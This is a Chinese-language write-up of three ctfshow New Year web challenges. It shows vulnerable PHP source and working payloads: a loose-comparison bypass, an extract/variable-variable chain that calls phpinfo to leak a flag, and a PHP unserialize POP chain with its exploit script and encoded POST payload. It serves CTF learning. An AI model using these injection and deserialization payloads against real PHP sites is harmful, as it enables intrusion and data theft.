ctfshow 年CTF web题解

除夕

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-18 11:36:09
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-19 10:18:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include "flag.php";

$year = $_GET['year'];

if($year==2022 && $year+1!==2023){
echo $flag;
}else{
highlight_file(__FILE__);
}

弱类型比较

/?year=2022.e

初三

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-19 10:31:36
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-19 13:11:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);


$_=function($__,$___){
return $__==$___?$___:$__;
};
$$__($_($_GET{
$___
}[$____]{
$_____
}(),$flag));

构造出var_dump($_(phpinfo(),$flag))即可

/?__=a&a=var_dump&___=b&c[2]=phpinfo&b[1][2]=phpinfo&____=1&_____=2

初六

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-18 08:46:07
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include "flag.php";

class happy2year{

private $secret;
private $key;

function __wakeup(){
$this->secret="";
}

function __call($method,$argv){

return call_user_func($this->key, array($method,$argv));
}


function getSecret($key){
$key=$key?$key:$this->key;
return $this->createSecret($key);
}


function createSecret($key){
return base64_encode($this->key.$this->secret);
}

function __get($arg){
global $flag;
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret;
}

function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);

}

function __invoke(){

return $this->$secret;
}


function __toString(){

return base64_encode($this->secret().$this->secret);
}


function __destruct(){

$this->secret = "";
}



}

highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
$secret = $obj->getSecret($key);
print("你提交的key是".$key."\n生成的secret是".$secret);
}

当两个变量用.连接时,也会触发toString方法,故利用链如下

getSecret -> createSecret -> __toString(有个secret()) -> __call(第一个参数当作函数调用) -> __invoke($secret可以使得访问类中不存在变量) -> __get

exp

<?php
error_reporting(0);

class happy2year {
public $secret = '123';
public $key = 'abc';
}
$a = new happy2year();
$a->key = new happy2year();
$a->key->key = new happy2year();
echo urlencode(serialize($a)).PHP_EOL;

?>

利用该payload访问页面即可

POST:
data=O%3A10%3A%22happy2year%22%3A2%3A%7Bs%3A6%3A%22secret%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22key%22%3BO%3A10%3A%22happy2year%22%3A2%3A%7Bs%3A6%3A%22secret%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22key%22%3BO%3A10%3A%22happy2year%22%3A2%3A%7Bs%3A6%3A%22secret%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22key%22%3Bs%3A3%3A%22abc%22%3B%7D%7D%7D&key=def